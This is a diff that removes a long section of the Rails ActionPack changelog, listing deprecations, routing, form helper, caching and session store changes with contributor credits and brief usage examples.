-  - ActionController::Base#keep_flash (use flash.keep instead)
-  - ActionController::Base#expire_matched_fragments (just call expire_fragment with a regular expression)
-  - ActionController::Base.template_root/= methods (use ActionController#Base.view_paths/= instead)
-  - ActionController::Base.cookie (use ActionController#Base.cookies[]= instead)
-
-* Removed the deprecated behavior of appending ".png" to image_tag/image_path calls without an existing extension [David Heinemeier Hansson]
-
-* Removed ActionController::Base.scaffold -- it went through the whole idea of scaffolding (card board walls you remove and tweak one by one). Use the scaffold generator instead (it does resources too now!) [David Heinemeier Hansson]
-
-* Optimise named route generation when using positional arguments.  [Michael Koziarski]
-
-  This change delivers significant performance benefits for the most
-  common usage scenarios for modern rails applications by avoiding the
-  costly trip through url_for.  Initial benchmarks indicate this is
-  between 6 and 20 times as fast.
-
-* Explicitly require active_record/query_cache before using it.  [Jeremy Kemper]
-
-* Fix layout overriding response status.  #9476 [lotswholetime]
-
-* Add field_set_tag for generating field_sets, closes #9477. [Damian Janowski]
-
-* Allow additional parameters to be passed to named route helpers when using positional arguments.  Closes #8930 [Ian White]
-
-* Make render :partial work with a :collection of Hashes, previously this wasn't possible due to backwards compatibility restrictions.  [Pratik Naik]
-
-* request.host works with IPv6 addresses.  #9458 [yuya]
-
-* Fix bug where action caching sets the content type to the ActionCachePath object.  Closes #9282 [mindforge]
-
-* Find layouts even if they're not in the first view_paths directory.  Closes #9258 [caio]
-
-* Major improvement to the documentation for the options / select form helpers. Closes #9038 [Chris Kampmeier, jardeon, wesg]
-
-* Fix number_to_human_size when using different precisions. Closes #7536. [RichardStrand, mpalmer]
-
-* Added partial layouts (see example in action_view/lib/partials.rb) [David Heinemeier Hansson]
-
-* Allow you to set custom :conditions on resource routes.  [Rick Olson]
-
-* Fixed that file.content_type for uploaded files would include a trailing \r #9053 [Brad Greenlee]
-
-* url_for now accepts a series of symbols representing the namespace of the record [Josh Knowles]
-
-* Make :trailing_slash work with query parameters for url_for. Closes #4004 [nov]
-
-* Make sure missing template exceptions actually say which template they were looking for.  Closes #8683 [dasil003]
-
-* Fix errors with around_filters which do not yield, restore 1.1 behaviour with after filters. Closes #8891 [Stefan Kaes]
-
-  After filters will *no longer* be run if an around_filter fails to yield, users relying on
-  this behaviour are advised to put the code in question after a yield statement in an around filter.
-  
-
-* Allow you to delete cookies with options. Closes #3685 [Josh Peek, Chris Wanstrath]
-
-* Allow you to render views with periods in the name.  Closes #8076 [Norbert Crombach]
-
-  render :partial => 'show.html.erb'
-
-* Improve capture helper documentation.  #8796 [Chris Kampmeier]
-
-* Prefix nested resource named routes with their action name, e.g. new_group_user_path(@group) instead of group_new_user_path(@group). The old nested action named route is deprecated in Rails 1.2.4.  #8558 [David Chelimsky]
-
-* Allow sweepers to be created solely for expiring after controller actions, not model changes [David Heinemeier Hansson]
-
-* Added assigns method to ActionController::Caching::Sweeper to easily access instance variables on the controller [David Heinemeier Hansson]
-
-* Give the legacy X-POST_DATA_FORMAT header greater precedence during params parsing for backward compatibility.  [Jeremy Kemper]
-
-* Fixed that link_to with an href of # when using :method will not allow for click-through without JavaScript #7037 [Steven Bristol, Josh Peek]
-
-* Fixed that radio_button_tag should generate unique ids #3353 [Bob Silva, Rebecca, Josh Peek]
-
-* Fixed that HTTP authentication should work if the header is called REDIRECT_X_HTTP_AUTHORIZATION as well #6754 [Mislav Marohnić]
-
-* Don't mistakenly interpret the request uri as the query string.  #8731 [Pratik Naik, Jeremy Kemper]
-
-* Make ActionView#view_paths an attr_accessor for real this time.  Also, don't perform an unnecessary #compact on the @view_paths array in #initialize.  Closes #8582 [dasil003, julik, Rick Olson]
-
-* Tolerate missing content type on multipart file uploads. Fix for Safari 3.  [Jeremy Kemper]
-
-* Deprecation: remove pagination. Install the classic_pagination plugin for forward compatibility, or move to the superior will_paginate plugin.  #8157 [Josh Peek]
-
-* Action caching is limited to GET requests returning 200 OK status.  #3335 [tom@craz8.com, halfbyte, Dan Kubb, Josh Peek]
-
-* Improve Text Helper test coverage.  #7274 [Rob Sanheim, Josh Peek]
-
-* Improve helper test coverage.  #7208, #7212, #7215, #7233, #7234, #7235, #7236, #7237, #7238, #7241, #7243, #7244 [Rich Collins, Josh Peek]
-
-* Improve UrlRewriter tests.  #7207 [Rich Collins]
-
-* Resources: url_for([parent, child]) generates /parents/1/children/2 for the nested resource. Likewise with the other simply helpful methods like form_for and link_to.  #6432 [mhw, Jonathan Vaught, lotswholetime]
-
-* Assume html format when rendering partials in RJS. #8076 [Rick Olson]
-
-* Don't double-escape url_for in views.  #8144 [Rich Collins, Josh Peek]
-
-* Allow JSON-style values for the :with option of observe_field.  Closes #8557 [kommen]
-
-* Remove RAILS_ROOT from backtrace paths.  #8540 [Tim Pope]
-
-* Routing: map.resource :logo routes to LogosController so the controller may be reused for multiple nestings or namespaces.  [Jeremy Kemper]
-
-* render :partial recognizes Active Record associations as Arrays.  #8538 [Kamal Fariz Mahyuddin]
-
-* Routing: drop semicolon and comma as route separators.  [Jeremy Kemper]
-
-* request.remote_ip understands X-Forwarded-For addresses with nonstandard whitespace.  #7386 [moses]
-
-* Don't prepare response when rendering a component.  #8493 [jsierles]
-
-* Reduce file stat calls when checking for template changes.  #7736 [alex]
-
-* Added custom path cache_page/expire_page parameters in addition to the options hashes [David Heinemeier Hansson]. Example:
-
-    def index
-      caches_page(response.body, "/index.html")
-    end
-
-* Action Caching speedup.  #8231 [Stefan Kaes]
-
-* Wordsmith resources documentation.  #8484 [marclove]
-
-* Fix syntax error in code example for routing documentation. #8377. [Norbert Crombach]
-
-* Routing: respond with 405 Method Not Allowed status when the route path matches but the HTTP method does not.  #6953 [Josh Peek, defeated, Dan Kubb, Coda Hale]
-
-* Add support for assert_select_rjs with :show and :hide. #7780 [dchelimsky]
-
-* Make assert_select's failure messages clearer about what failed. #7779 [dchelimsky]
-
-* Introduce a default respond_to block for custom types.  #8174 [Josh Peek]
-
-* auto_complete_field takes a :method option so you can GET or POST.  #8120 [zapnap]
-
-* Added option to suppress :size when using :maxlength for FormTagHelper#text_field #3112 [Tim Pope]
-
-* catch possible WSOD when trying to render a missing partial. Closes #8454 [Jonathan del Strother]
-
-* Rewind request body after reading it, if possible.  #8438 [s450r1]
-
-* Resource namespaces are inherited by their has_many subresources.  #8280 [marclove, Geoff Garside]
-
-* Fix filtered parameter logging with nil parameter values.  #8422 [choonkeat]
-
-* Integration tests: alias xhr to xml_http_request and add a request_method argument instead of always using POST.  #7124 [Nik Wakelin, François Beausoleil, Wizard]
-
-* Document caches_action.  #5419 [Jarkko Laine]
-
-* Update to Prototype 1.5.1.  [Sam Stephenson]
-
-* Allow routes to be decalred under namespaces [Tobias Lütke]: 
-  
-  map.namespace :admin do |admin|
-    admin.root :controller => "products"       
-    admin.feed 'feed.xml', :controller => 'products', :action => 'feed', :format => 'xml'
-  end
-  
-* Update to script.aculo.us 1.7.1_beta3.  [Thomas Fuchs]
-
-* observe_form always sends the serialized form.  #5271 [Manfred Stienstra, normelton@gmail.com]
-
-* Parse url-encoded and multipart requests ourselves instead of delegating to CGI.  [Jeremy Kemper]
-
-* select :include_blank option can be set to a string instead of true, which just uses an empty string.  #7664 [Wizard]
-
-* Added url_for usage on render :location, which allows for record identification [David Heinemeier Hansson]. Example:
-
-    render :xml => person, :status => :created, :location => person
-  
-  ...expands the location to person_url(person).
-
-* Introduce the request.body stream. Lazy-read to parse parameters rather than always setting RAW_POST_DATA. Reduces the memory footprint of large binary PUT requests.  [Jeremy Kemper]
-
-* Add some performance enhancements to ActionView.
-
-  * Cache base_paths in @@cached_base_paths
-  * Cache template extensions in @@cached_template_extension
-  * Remove unnecessary rescues
-
-* Assume that rendered partials go by the HTML format by default
-
-  def my_partial
-    render :update do |page|
-      # in this order
-      # _foo.html.erb
-      # _foo.erb
-      # _foo.rhtml
-      page.replace :foo, :partial => 'foo'
-    end
-  end
-
-* Added record identifications to FormHelper#form_for and PrototypeHelper#remote_form_for [David Heinemeier Hansson]. Examples:
-
-    <% form_for(@post) do |f| %>
-      ...
-    <% end %>
-  
-  This will expand to be the same as:
-  
-    <% form_for :post, @post, :url => post_path(@post), :html => { :method => :put, :class => "edit_post", :id => "edit_post_45" } do |f| %>
-      ...
-    <% end %>
-  
-  And for new records:
-  
-    <% form_for(Post.new) do |f| %>
-      ...
-    <% end %>
-  
-  This will expand to be the same as:
-  
-    <% form_for :post, @post, :url => posts_path, :html => { :class => "new_post", :id => "new_post" } do |f| %>
-      ...
-    <% end %>
-
-* Rationalize route path escaping according to RFC 2396 section 3.3.  #7544, #8307. [Jeremy Kemper, Chris Roos, begemot, jugend]
-
-* Added record identification with polymorphic routes for ActionController::Base#url_for and ActionView::Base#url_for [David Heinemeier Hansson]. Examples:
-
-    redirect_to(post)         # => redirect_to(posts_url(post))         => Location: http://example.com/posts/1
-    link_to(post.title, post) # => link_to(post.title, posts_url(post)) => <a href="/posts/1">Hello world</a>
-
-  Any method that calls url_for on its parameters will automatically benefit from this. 
-
-* Removed deprecated parameters_for_method_reference concept (legacy from before named routes) [David Heinemeier Hansson]
-
-* Add ActionController::Routing::Helpers, a module to contain common URL helpers such as polymorphic_url. [Nicholas Seckar]
-
-* Included the HttpAuthentication plugin as part of core (ActionController::HttpAuthentication::Basic) [David Heinemeier Hansson]
-
-* Modernize documentation for form helpers. [Jeremy McAnally]
-
-* Add brief introduction to REST to the resources documentation. [fearoffish]
-
-* Fix various documentation typos throughout ActionPack. [Henrik N]
-
-* Enhance documentation and add examples for url_for. [Jeremy McAnally]
-
-* Fix documentation typo in routes. [Norbert Crombach, pam]
-
-* Sweep flash when filter chain is halted. [Caio Chassot <lists@v2studio.com>]
-
-* Fixed that content_tag with a block will just return the result instead of concate it if not used in a ERb view #7857, #7432 [michael.niessner]
-
-* Replace the current block/continuation filter chain handling by an implementation based on a simple loop.  #8226 [Stefan Kaes]
-
-* Update UrlWriter to accept :anchor parameter. Closes #6771. [Chris McGrath]
-
-* Added RecordTagHelper for using RecordIdentifier conventions on divs and other container elements [David Heinemeier Hansson]. Example:
-
-    <% div_for(post) do %>     <div id="post_45" class="post">
-      <%= post.body %>           What a wonderful world!
-    <% end %>                  </div>
-
-* Added page[record] accessor to JavaScriptGenerator that relies on RecordIdentifier to find the right dom id [David Heinemeier Hansson]. Example:
-
-    format.js do
-      # Calls: new Effect.fade('post_45');
-      render(:update) { |page| page[post].visual_effect(:fade) }
-    end
-
-* Added RecordIdentifier to enforce view conventions on records for dom ids, classes, and partial paths [David Heinemeier Hansson]
-
-* Added map.namespace to deal with the common situation of admin sections and the like [David Heinemeier Hansson]
-
-    Before:
-    
-      map.resources :products, :path_prefix => "admin", :controller => "admin/products", :collection => { :inventory => :get }, :member => { :duplicate => :post }
-      map.resources :tags, :name_prefix => 'admin_product_', :path_prefix => "admin/products/:product_id", :controller => "admin/product_tags"
-      map.resources :images, :name_prefix => 'admin_product_', :path_prefix => "admin/products/:product_id", :controller => "admin/product_images"
-      map.resources :variants, :name_prefix => 'admin_product_', :path_prefix => "admin/products/:product_id", :controller => "admin/product_variants"
-
-    After:
-    
-      map.namespace(:admin) do |admin|
-        admin.resources :products,
-          :collection => { :inventory => :get },
-          :member     => { :duplicate => :post },
-          :has_many   => [ :tags, :images, :variants ]
-      end
-
-* Added :name_prefix as standard for nested resources [David Heinemeier Hansson]. WARNING: May be backwards incompatible with your app
-
-    Before:
-
-      map.resources :emails do |emails|
-        emails.resources :comments,    :name_prefix => "email_"
-        emails.resources :attachments, :name_prefix => "email_"
-      end
-      
-    After:
-
-      map.resources :emails do |emails|
-        emails.resources :comments
-        emails.resources :attachments
-      end
-    
-    This does mean that if you intended to have comments_url go to /emails/5/comments, then you'll have to set :name_prefix to nil explicitly.
-
-* Added :has_many and :has_one for declaring plural and singular resources beneath the current [David Heinemeier Hansson]
-
-    Before:
-      
-      map.resources :notes do |notes|
-        notes.resources :comments
-        notes.resources :attachments
-        notes.resource :author
-      end
-    
-    After:
-    
-      map.resources :notes, :has_many => [ :comments, :attachments ], :has_one => :author
-
-* Added that render :xml will try to call to_xml if it can [David Heinemeier Hansson]. Makes these work:
-
-    render :xml => post
-    render :xml => comments
-
-* Added :location option to render so that the common pattern of rendering a response after creating a new resource is now a 1-liner [David Heinemeier Hansson]
-
-    render :xml => post.to_xml, :status => :created, :location => post_url(post)
-
-* Ensure that render_text only adds string content to the body of the response [David Heinemeier Hansson]
-
-* Return the string representation from an Xml Builder when rendering a partial. Closes #5044 [Tim Pope]
-
-* Fixed that parameters from XML should also be presented in a hash with indifferent access [David Heinemeier Hansson]
-
-* Tweak template format rules so that the ACCEPT header is only used if it's text/javascript.  This is so ajax actions without a :format param get recognized as Mime::JS. [Rick Olson]
-
-* The default respond_to blocks don't set a specific extension anymore, so that both 'show.rjs' and 'show.js.rjs' will work. [Rick Olson]
-
-* Allow layouts with extension of .html.erb.  Closes #8032 [Josh Knowles]
-
-* Change default respond_to templates for xml and rjs formats. [Rick Olson]
-
-  * Default xml template goes from #{action_name}.rxml => #{action_name}.xml.builder.
-  * Default rjs template goes from #{action_name}.rjs => #{action_name}.js.rjs.
-  
-  You can still specify your old templates:
-  
-    respond_to do |format|
-      format.xml do
-        render :action => "#{action_name}.rxml"
-      end
-    end
-
-* Fix WSOD due to modification of a formatted template extension so that requests to templates like 'foo.html.erb' fail on the second hit.  [Rick Olson]
-
-* Fix WSOD when template compilation fails [Rick Olson]
-
-* Change ActionView template defaults.  Look for templates using the request format first, such as "show.html.erb" or "show.xml.builder", before looking for the old defaults like "show.erb" or "show.builder" [Rick Olson]
-
-* Highlight helper highlights one or many terms in a single pass.  [Jeremy Kemper]
-
-* Dropped the use of ; as a separator of non-crud actions on resources and went back to the vanilla slash. It was a neat idea, but lots of the non-crud actions turned out not to be RPC (as the ; was primarily intended to discourage), but legitimate sub-resources, like /parties/recent, which didn't deserve the uglification of /parties;recent. Further more, the semicolon caused issues with caching and HTTP authentication in Safari. Just Not Worth It [David Heinemeier Hansson]
-
-* Added that FormTagHelper#submit_tag will return to its original state if the submit fails and you're using :disable_with [David Heinemeier Hansson]
-
-* Cleaned up, corrected, and mildly expanded ActionPack documentation.  Closes #7190 [Jeremy McAnally]
-
-* Small collection of ActionController documentation cleanups.  Closes #7319 [Jeremy McAnally]
-
-* Make sure the route expiry hash is constructed by comparing the to_param-ized values of each hash. [Jamis Buck]
-
-* Allow configuration of the default action cache path for #caches_action calls.  [Rick Olson]
-
-  class ListsController < ApplicationController
-    caches_action :index, :cache_path => Proc.new { |controller| 
-      controller.params[:user_id] ? 
-        controller.send(:user_lists_url, c.params[:user_id]) :
-        controller.send(:lists_url) }
-  end
-
-* Performance: patch cgi/session/pstore to require digest/md5 once rather than per #initialize.  #7583 [Stefan Kaes]
-
-* Cookie session store: ensure that new sessions doesn't reuse data from a deleted session in the same request.  [Jeremy Kemper]
-
-* Deprecation: verification with :redirect_to => :named_route shouldn't be deprecated.  #7525 [Justin French]
-
-* Cookie session store: raise ArgumentError when :session_key is blank.  [Jeremy Kemper]
-
-* Deprecation: remove deprecated request, redirect, and dependency methods. Remove deprecated instance variables. Remove deprecated url_for(:symbol, *args) and redirect_to(:symbol, *args) in favor of named routes. Remove uses_component_template_root for toplevel components directory. Privatize deprecated render_partial and render_partial_collection view methods. Remove deprecated link_to_image, link_image_to, update_element_function, start_form_tag, and end_form_tag helper methods. Remove deprecated human_size helper alias.  [Jeremy Kemper]
-
-* Consistent public/protected/private visibility for chained methods.  #7813 [Dan Manges]
-
-* Prefer MIME constants to strings.  #7707 [Dan Kubb]
-
-* Allow array and hash query parameters. Array route parameters are converted/to/a/path as before.  #6765, #7047, #7462 [bgipsy, Jeremy McAnally, Dan Kubb, brendan]
-
-# Add a #dbman attr_reader for CGI::Session and make CGI::Session::CookieStore#generate_digest public so it's easy to generate digests
-using the cookie store's secret. [Rick Olson]
-
-* Added Request#url that returns the complete URL used for the request [David Heinemeier Hansson]
-
-* Extract dynamic scaffolding into a plugin.  #7700 [Josh Peek]
-
-* Added user/password options for url_for to add http authentication in a URL [David Heinemeier Hansson]
-
-* Fixed that FormTagHelper#text_area_tag should disregard :size option if it's not a string [Brendon Davidson]
-
-* Set the original button value in an attribute of the button when using the :disable_with key with submit_tag, so that the original can be restored later. [Jamis Buck]
-
-* session_enabled? works with session :off.  #6680 [Jonathan del Strother]
-
-* Added :port and :host handling to UrlRewriter (which unified url_for usage, regardless of whether it's called in view or controller) #7616 [alancfrancis]
-
-* Allow send_file/send_data to use a registered mime type as the :type parameter #7620 [jonathan]
-
-* Allow routing requirements on map.resource(s) #7633 [quixoten]. Example:
-
-  map.resources :network_interfaces, :requirements => { :id => /^\d+\.\d+\.\d+\.\d+$/ }
-
-* Cookie session store: empty and unchanged sessions don't write a cookie.  [Jeremy Kemper]
-
-* Added helper(:all) as a way to include all helpers from app/helpers/**/*.rb in ApplicationController [David Heinemeier Hansson]
-
-* Integration tests: introduce methods for other HTTP methods.  #6353 [caboose]
-
-* Routing: better support for escaped values in route segments.  #7544 [Chris
-Roos]
-
-* Introduce a cookie-based session store as the Rails default. Sessions typically contain at most a user_id and flash message; both fit within the 4K cookie size limit. A secure message digest is included with the cookie to ensure data integrity (a user cannot alter his user_id without knowing the secret key included in the digest). If you have more than 4K of session data or don't want your data to be visible to the user, pick another session store.  Cookie-based sessions are dramatically faster than the alternatives.   [Jeremy Kemper]
-
-  Example config/environment.rb:
-    # Use an application-wide secret key and the default SHA1 message digest.
-    config.action_controller.session = { :secret => "can't touch this" }
-
-    # Store a secret key per user and employ a stronger message digest.
-    config.action_controller.session = {
-      :digest => 'SHA512',
-      :secret => Proc.new { User.current.secret_key }
-    }
-
-* Added .erb and .builder as preferred aliases to the now deprecated .rhtml and .rxml extensions [Chad Fowler]. This is done to separate the renderer from the mime type. .erb templates are often used to render emails, atom, csv, whatever. So labeling them .rhtml doesn't make too much sense. The same goes for .rxml, which can be used to build everything from HTML to Atom to whatever. .rhtml and .rxml will continue to work until Rails 3.0, though. So this is a slow phasing out. All generators and examples will start using the new aliases, though.
-
-* Added caching option to AssetTagHelper#stylesheet_link_tag and AssetTagHelper#javascript_include_tag [David Heinemeier Hansson]. Examples:
-
-    stylesheet_link_tag :all, :cache => true # when ActionController::Base.perform_caching is false =>
-      <link href="/stylesheets/style1.css"  media="screen" rel="Stylesheet" type="text/css" />
-      <link href="/stylesheets/styleB.css"  media="screen" rel="Stylesheet" type="text/css" />
-      <link href="/stylesheets/styleX2.css" media="screen" rel="Stylesheet" type="text/css" />
- 
-    stylesheet_link_tag :all, :cache => true # when ActionController::Base.perform_caching is true =>
-      <link href="/stylesheets/all.css"  media="screen" rel="Stylesheet" type="text/css" />
-
-  ...when caching is on, all.css is the concatenation of style1.css, styleB.css, and styleX2.css.
-  Same deal for JavaScripts.
-
-* Work around the two connection per host browser limit: use asset%d.myapp.com to distribute asset requests among asset[0123].myapp.com. Use a DNS wildcard or CNAMEs to map these hosts to your asset server. See http://www.die.net/musings/page_load_time/ for background.  [Jeremy Kemper]
-
-* Added default mime type for CSS (Mime::CSS) [David Heinemeier Hansson]
-
-* Added that rendering will automatically insert the etag header on 200 OK responses. The etag is calculated using MD5 of the response body. If a request comes in that has a matching etag, the response will be changed to a 304 Not Modified and the response body will be set to an empty string. [David Heinemeier Hansson]
-
-* Added X-Runtime to all responses with the request run time [David Heinemeier Hansson]
-
-* Add Mime::Type convenience methods to check the current mime type. [Rick Olson]
-
-  request.format.html? # => true if Mime::HTML
-  request.format.jpg?  # => true if Mime::JPG
-
-  # ActionController sample usage:
-  # the session will be disabled for non html/ajax requests
-  session :off, :if => Proc.new { |req| !(req.format.html? || req.format.js?) }
-
-* Performance: patch cgi/session to require digest/md5 once rather than per #create_new_id.  [Stefan Kaes]
-
-* Add a :url_based_filename => true option to ActionController::Streaming::send_file, which allows URL-based filenames.  [Thomas Fuchs]
-
-* Fix that FormTagHelper#submit_tag using :disable_with should trigger the onsubmit handler of its form if available [David Heinemeier Hansson]
-
-* Fix #render_file so that TemplateError is called with the correct params and you don't get the WSOD.  [Rick Olson]
-
-* Fix issue with deprecation messing up #template_root= usage.  Add #prepend_view_path and #append_view_path to allow modification of a copy of the
-superclass' view_paths.  [Rick Olson]
-
-* Allow Controllers to have multiple view_paths instead of a single template_root.  Closes #2754 [John Long]
-
-* Add much-needed html-scanner tests.  Fixed CDATA parsing bug. [Rick Olson]
-
-* improve error message for Routing for named routes.  Closes #7346 [Rob Sanheim]
-
-* Added enhanced docs to routing assertions.  Closes #7359 [Rob Sanheim]
-
-* fix form_for example in ActionController::Resources documentation.  Closes #7362 [gnarg]
-
-* Make sure that the string returned by TextHelper#truncate is actually a string, not a char proxy -- that should only be used internally while working on a multibyte-safe way of truncating [David Heinemeier Hansson]
-
-* Added FormBuilder#submit as a delegate for FormTagHelper#submit_tag [David Heinemeier Hansson]
-
-* Allow Routes to generate all urls for a set of options by specifying :generate_all => true. Allows caching to properly set or expire all paths for a resource. References #1739. [Nicholas Seckar]
-
-* Change the query parser to map empty GET params to "" rather than nil. Closes #5694. [Nicholas Seckar]
-
-* date_select and datetime_select take a :default option.  #7052 [Nik Wakelin]
-    date_select "post", "written_on", :default => 3.days.from_now
-    date_select "credit_card", "bill_due", :default => { :day => 20 }
-
-* select :multiple => true suffixes the attribute name with [] unless already suffixed.  #6977 [nik.kakelin, ben, julik]
-
-* Improve routes documentation.  #7095 [zackchandler]
-
-* mail_to :encode => 'hex' also encodes the mailto: part of the href attribute as well as the linked email when no name is given.  #2061 [Jarkko Laine, pfc.pille@gmx.net]
-
-* Resource member routes require :id, eliminating the ambiguous overlap with collection routes.  #7229 [dkubb]
-
-* Remove deprecated assertions.  [Jeremy Kemper]
-
-* Change session restoration to allow namespaced models to be autoloaded. Closes #6348. [Nicholas Seckar]
-
-* Fix doubly appearing parameters due to string and symbol mixups. Closes #2551. [Anthony Eden]
-
-* Fix overly greedy rescues when loading helpers. Fixes #6268. [Nicholas Seckar]
-
-* Fixed NumberHelper#number_with_delimiter to use "." always for splitting the original number, not the delimiter parameter #7389 [ceefour]
-
-* Autolinking recognizes trailing and embedded . , : ;  #7354 [Jarkko Laine]
-
-* Make TextHelper::auto_link recognize URLs with colons in path correctly, fixes #7268.  [imajes]
-
-* Update to script.aculo.us 1.7.0.  [Thomas Fuchs]
-
-* Modernize cookie testing code, and increase coverage (Heckle++) #7101 [Kevin Clark]
-
-* Improve Test Coverage for ActionController::Routing::Route#matches_controller_and_action? (Heckle++) #7115 [Kevin Clark]
-
-* Heckling ActionController::Resources::Resource revealed that set_prefixes didn't break when :name_prefix was munged. #7081 [Kevin Clark]
-
-* Fix #distance_of_time_in_words to report accurately against the Duration class.  #7114 [eventualbuddha]
-
-* Refactor #form_tag to allow easy extending.  [Rick Olson]
-
-* Update to Prototype 1.5.0. [Sam Stephenson]
-
-* RecordInvalid, RecordNotSaved => 422 Unprocessable Entity, StaleObjectError => 409 Conflict.  #7097 [dkubb]
-
-* Allow fields_for to be nested inside form_for, so that the name and id get properly constructed [Jamis Buck]
-
-* Allow inGroupsOf and eachSlice to be called through rjs. #7046 [Cody Fauser]
-
-* Allow exempt_from_layout :rhtml.  #6742, #7026 [Dan Manges, Squeegy]
-
-* Recognize the .txt extension as Mime::TEXT [Rick Olson]
-
-* Fix parsing of array[] CGI parameters so extra empty values aren't included.  #6252 [Nicholas Seckar, aiwilliams, brentrowland]
-
-* link_to_unless_current works with full URLs as well as paths.  #6891 [Jarkko Laine, Manfred Stienstra, idrifter]
-
-* Lookup the mime type for #auto_discovery_link_tag in the Mime::Type class.  Closes #6941 [Josh Peek]
-
-* Fix bug where nested resources ignore a parent singleton parent's path prefix.  Closes #6940 [Dan Kubb]
-
-* Fix no method error with error_messages_on.  Closes #6935 [nik.wakelin Koz]
-
-* Slight doc tweak to the ActionView::Helpers::PrototypeHelper#replace docs.  Closes #6922 [Steven Bristol]
-
-* Slight doc tweak to #prepend_filter.  Closes #6493 [Jeremy Voorhis]
-
-* Add more extensive documentation to the AssetTagHelper.  Closes #6452 [Bob Silva]
-
-* Clean up multiple calls to #stringify_keys in TagHelper, add better documentation and testing for TagHelper.  Closes #6394 [Bob Silva]
-
-* [DOCS] fix reference to ActionController::Macros::AutoComplete for #text_field_with_auto_complete. Closes #2578 [Jan Prill]
-
-* Make sure html_document is reset between integration test requests. [ctm]
-
-* Set session to an empty hash if :new_session => false and no session cookie or param is present. CGI::Session was raising an unrescued ArgumentError.  [Josh Susser]
-
-* Routing uses URI escaping for path components and CGI escaping for query parameters.  [darix, Jeremy Kemper]
-
-* Fix assert_redirected_to bug where redirecting from a nested to to a top-level controller incorrectly added the current controller's nesting.  Closes #6128.  [Rick Olson]
-
-* Singleton resources: POST /singleton => create, GET /singleton/new => new.  [Jeremy Kemper]
-
-* Use 400 Bad Request status for unrescued ActiveRecord::RecordInvalid exceptions.  [Jeremy Kemper]
-
-* Silence log_error deprecation warnings from inspecting deprecated instance variables.  [Nate Wiger]
-
-* Only cache GET requests with a 200 OK response.  #6514, #6743 [RSL, anamba]
-
-* Add a 'referer' attribute to TestRequest. [Jamis Buck]
-
-* Ensure render :json => ... skips the layout.  Closes #6808 [Josh Peek]
-
-* Fix HTML::Node to output double quotes instead of single quotes.  Closes #6845 [mitreandy]
-
-* Correctly report which filter halted the chain.  #6699 [Martin Emde]
-
-* Fix a bug in Routing where a parameter taken from the path of the current request could not be used as a query parameter for the next. Closes #6752. [Nicholas Seckar]
-
-* Unrescued ActiveRecord::RecordNotFound responds with 404 instead of 500.  [Jeremy Kemper]
-
-* Improved auto_link to match more valid urls correctly [Tobias Lütke]
-
-* Add singleton resources. [Rick Olson]
-
-  map.resource :account
-  
-  GET /account
-  GET /account;edit
-  UPDATE /account
-  DELETE /account
-
-* respond_to recognizes JSON. render :json => @person.to_json automatically sets the content type and takes a :callback option to specify a client-side function to call using the rendered JSON as an argument.  #4185 [Scott Raymond, eventualbuddha]
-    # application/json response with body 'Element.show({:name: "David"})'
-    respond_to do |format|
-      format.json { render :json => { :name => "David" }.to_json, :callback => 'Element.show' }
-    end
-
-* Makes :discard_year work without breaking multi-attribute parsing in AR.  #1260, #3800 [sean@ardismg.com, jmartin@desertflood.com, stephen@touset.org, Bob Silva]
-
-* Adds html id attribute to date helper elements.  #1050, #1382 [mortonda@dgrmm.net, David North, Bob Silva]
-
-* Add :index and @auto_index capability to model driven date/time selects.  #847, #2655 [moriq, Doug Fales, Bob Silva]
-
-* Add :order to datetime_select, select_datetime, and select_date.  #1427 [Timothee Peignier, Patrick Lenz, Bob Silva]
-
-* Added time_select to work with time values in models. Update scaffolding.  #2489, #2833 [Justin Palmer, Andre Caum, Bob Silva]
-
-* Added :include_seconds to select_datetime, datetime_select and time_select.  #2998 [csn, Bob Silva]
-
-* All date/datetime selects can now accept an array of month names with :use_month_names. Allows for localization.  #363 [tomasj, Bob Silva]
-
-* Adds :time_separator to select_time and :date_separator to select_datetime. Preserves BC.  #3811 [Bob Silva]
-
-* Added map.root as an alias for map.connect '' [David Heinemeier Hansson]
-
-* Added Request#format to return the format used for the request as a mime type. If no format is specified, the first Request#accepts type is used. This means you can stop using respond_to for anything else than responses [David Heinemeier Hansson]. Examples:
-
-    GET /posts/5.xml   | request.format => Mime::XML
-    GET /posts/5.xhtml | request.format => Mime::HTML
-    GET /posts/5       | request.format => request.accepts.first (usually Mime::HTML for browsers)
-
-* Added the option for extension aliases to mime type registration [David Heinemeier Hansson]. Example (already in the default routes):
-
-    Mime::Type.register "text/html", :html, %w( application/xhtml+xml ), %w( xhtml )
-  
-  ...will respond on both .html and .xhtml.
-
-* @response.redirect_url works with 201 Created responses: just return headers['Location'] rather than checking the response status.  [Jeremy Kemper]
-
-* Added CSV to Mime::SET so that respond_to csv will work [Cody Fauser]
-
-* Fixed that HEAD should return the proper Content-Length header (that is, actually use @body.size, not just 0) [David Heinemeier Hansson]
-
-* Added GET-masquarading for HEAD, so request.method will return :get even for HEADs. This will help anyone relying on case request.method to automatically work with HEAD and map.resources will also allow HEADs to all GET actions. Rails automatically throws away the response content in a reply to HEAD, so you don't even need to worry about that. If you, for whatever reason, still need to distinguish between GET and HEAD in some edge case, you can use Request#head? and even Request.headers["REQUEST_METHOD"] for get the "real" answer. Closes #6694 [David Heinemeier Hansson]
-
-* Update Routing to complain when :controller is not specified by a route. Closes #6669. [Nicholas Seckar]
-
-* Ensure render_to_string cleans up after itself when an exception is raised.  #6658 [Rob Sanheim]
-
-* Extract template_changed_since? from compile_template? so plugins may override its behavior for non-file-based templates.  #6651 [Jeff Barczewski]
-
-* Update to Prototype and script.aculo.us [5579]. [Thomas Fuchs]
-
-* simple_format helper doesn't choke on nil.  #6644 [jerry426]
-
-* Update to Prototype 1.5.0_rc2 [5550] which makes it work in Opera again [Thomas Fuchs]
-
-* Reuse named route helper module between Routing reloads. Use remove_method to delete named route methods after each load. Since the module is never collected, this fixes a significant memory leak. [Nicholas Seckar]
-
-* ActionView::Base.erb_variable accessor names the buffer variable used to render templates. Defaults to _erbout; use _buf for erubis.  [Rick Olson]
-
-* assert_select_rjs :remove.  [Dylan Egan]
-
-* Always clear model associations from session.  #4795 [sd@notso.net, andylien@gmail.com]
-
-* Update to Prototype 1.5.0_rc2. [Sam Stephenson]
-
-* Remove JavaScriptLiteral in favor of ActiveSupport::JSON::Variable. [Sam Stephenson]
-
-* Sync ActionController::StatusCodes::STATUS_CODES with http://www.iana.org/assignments/http-status-codes.  #6586 [dkubb]
-
-* Multipart form values may have a content type without being treated as uploaded files if they do not provide a filename.  #6401 [Andreas Schwarz, Jeremy Kemper]
-
-* assert_response supports symbolic status codes.  #6569 [Kevin Clark]
-    assert_response :ok
-    assert_response :not_found
-    assert_response :forbidden
-
